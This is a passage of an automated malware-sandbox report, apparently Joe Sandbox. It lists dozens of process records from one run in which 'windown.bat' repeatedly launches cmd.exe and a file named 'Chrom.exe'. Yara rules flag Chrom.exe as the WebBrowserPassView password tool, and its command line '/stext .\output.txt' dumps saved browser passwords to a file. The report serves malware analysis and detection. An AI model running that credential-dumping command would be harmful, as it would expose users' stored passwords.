Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000026.00000000.2114930914.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000026.00000002.2573942891.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000027.00000002.2558152686.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000027.00000000.2115852858.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	21:37:14
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000002D.00000002.2551764898.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000002D.00000000.2119958837.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000002E.00000000.2119851802.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000002E.00000002.2533737416.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000002F.00000002.2585861110.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000002F.00000000.2119909848.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000030.00000000.2119994043.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000030.00000002.2585719504.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	21:37:15
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000044.00000002.2466846625.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000044.00000000.2133602924.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000045.00000000.2140761052.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000045.00000002.2500268582.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000046.00000002.2585932289.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000046.00000000.2134107679.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	21:37:16
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000053.00000002.2580371925.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000053.00000000.2145941174.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	21:37:17
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000058.00000002.2599316163.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000058.00000000.2149477169.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Users\user\Downloads\Chrom.exe
Wow64 process (32bit):	true
Commandline:	.\Chrom.exe /stext .\output.txt
Imagebase:	0x400000
File size:	402'944 bytes
MD5 hash:	2024EA60DA870A221DB260482117258B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000005B.00000002.2564816979.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 0000005B.00000000.2151019682.000000000044F000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	21:37:18
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
